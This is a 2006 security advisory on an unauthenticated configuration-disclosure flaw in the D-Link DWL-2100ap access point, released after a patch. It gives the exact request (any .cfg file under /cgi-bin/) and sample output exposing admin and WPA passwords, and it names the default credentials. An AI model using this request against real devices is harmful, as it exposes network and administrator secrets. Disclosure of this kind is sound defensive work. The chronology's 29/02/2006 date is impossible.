D-Link Wireless Access-Point

Advisory Content :

INTRUDERS TIGER TEAM SECURITY - SECURITY ADVISORY

http://www.intruders.com.br/

http://www.intruders.org.br/

ADVISORY/0206 - D-Link Wireless Access-Point (DWL-2100ap)

PRIORITY: HIGH

I - INTRUDERS:

----------------

Intruders Tiger Team Security is a project entailed with

Security Open Source (http://www.securityopensource.org.br).

The Intruders Tiger Team Security (ITTS) is a group of researchers

with more than 10 years of experience, specialized in the development

of intrusion projects (Pen-Test) and in special security projects.

All the projects of intrusion (Pen-Test) realized until the moment by

the Intruders Tiger Team Security had 100% of success.

II - INTRODUCTION:

------------------

D-Link AirPlus XtremeG 2.4GHz Wireless Access Point, 54Mbps/108Mbps
(802.11g):

D-Link, the industry pioneer in wireless networking, introduces a
performance

breakthrough in wireless connectivity ? D-Link AirPlus Xtreme GTM series
of

high-speed devices now capable of delivering transfer rates up to 15x
faster

than the standard 802.11b with the new D-Link 108G. With the new AirPlus
Xtreme

G DWL-2100AP Wireless Access Point, D-Link sets a new standard for wireless
access

points.

D-Link DWL-2100ap is one of the most popular Access Point in the world.

III - DESCRIPTION:

------------------

Intruders Tiger Team Security identified during an intrusion project
(Pen-Test) an

unknown vulnerability in the Access Point D-Link DWL-2100ap, that allows an
attacker

to read device's configuration, without authentication with web server.

Extremely sensible informations are avaible in the configuration of the
Access Point

D-Link DWL-2100ap, for example:

- User and password used to manage the device.

- Password used in WEP and WPA.

- SSID, IP, subnet mask, MAC Address filters, etc.

IV - ANALISYS:

---------------

Making a HTTP request to the /cgi-bin/ directory, the Web server will
return error 404 (Page not found).

Making a HTTP request to the /cgi-bin/AnyFile.htm, the Web server will
return error 404 (Page not found).

However, making a HTTP request to any file in /cgi-bin/ directory, with
.cfg extension, will

return all the device configuration.

For example, making the following request:

http://dlink-DWL-2100ap/cgi-bin/Intruders.cfg

We would have a result equivalent to the following:

# Copyright (c) 2002 Atheros Communications, Inc., All Rights Reserved

# DO NOT EDIT -- This configuration file is automatically generated

magic Ar52xxAP

fwc: 34

login admin

DHCPServer

Eth_Acl

nameaddr

domainsuffix

IP_Addr 10.0.0.30

IP_Mask 255.0.0.0

Gateway_Addr 10.0.0.1

RADIUSaddr

RADIUSport 1812

RADIUSsecret

password IntrudersTest

passphrase

wlan1 passphrase AnewBadPassPhrase

# Several lines removed.

D-Link DWL-2100ap Access Point does not allow disable the Web server, not
even has options to

filter ports.

We remember that the D-Link DWL-2100ap Access Point comes configured with
default user /

password (user:admin and no password).

V. DETECTION:

-------------

Intruders Tiger Team Security confirmed the existence of this vulnerability
in all firmwares

tested, also the last version 2.10na.

Possibly other(s) D-Link Access Point model(s) can be vulnerable also.

VI. SUGESTION:

--------------

D-Link company:

1 - Use strong cookies to guarantee that only authorized users will get
access to configuration.

2 - Store sensible configurations like password(s) using hash(s).

3 - Allow create firewall politics and rules to filters port(s) and IP(s).

4 - Request to the user change the default user/password on the first
logon, and not allow

change the password to the last one used.

5 - Use HTTP with SSL (HTTPS).

6 - Contracts specialized companies in Pen-Test and security audit, aiming
homologate the

security of D-Link products.

D-Link customers:

1 - Upgrade the firmware of D-Link DWL-2100ap Access Point.

Direct link to download is
http://www.dlinkbrasil.com.br/internet/downloads/Wireless/DWL-2100AP/DWL
2100AP-firmware-v210na-r0343.tfp

VII - CHRONOLOGY:

-----------------

11/02/2006 - Vulnerability discovered during a Pen-Test.

15/02/2006 - D-Link World Wide Team Contacted.

17/02/2006 - No response.

18/02/2006 - D-Link World Wide Team re-contacted.

24/02/2006 - No response.

25/02/2006 - D-Link World Wide Team last try of contact.

29/02/2006 - No response.

29/02/2006 - D-Link Brazil Team Contacted.

02/03/2006 - No response.

03/03/2006 - D-Link Brazil Team re-contacted.

06/03/2006 - D-Link Brazil Team responsed.

09/03/2006 - Patch created.

14/03/2006 - Patch added to D-Link Brazil download site.

06/06/2006 - published advisory.

VIII - CREDITS:

---------------

Wendel Guglielmetti Henrique and Intruders Tiger Team Security had
discovered this vulnerability.

Gratefulness to Glaudson Ocampos (Intruders Tiger Team Security), Waldemar
Nehgme, Jo?o

Arquimedes (Security Open Source) and Ricardo N. Ferreira (Security Open
Source).

Visit our website:

http://www.intruders.com.br/

http://www.intruders.org.br/

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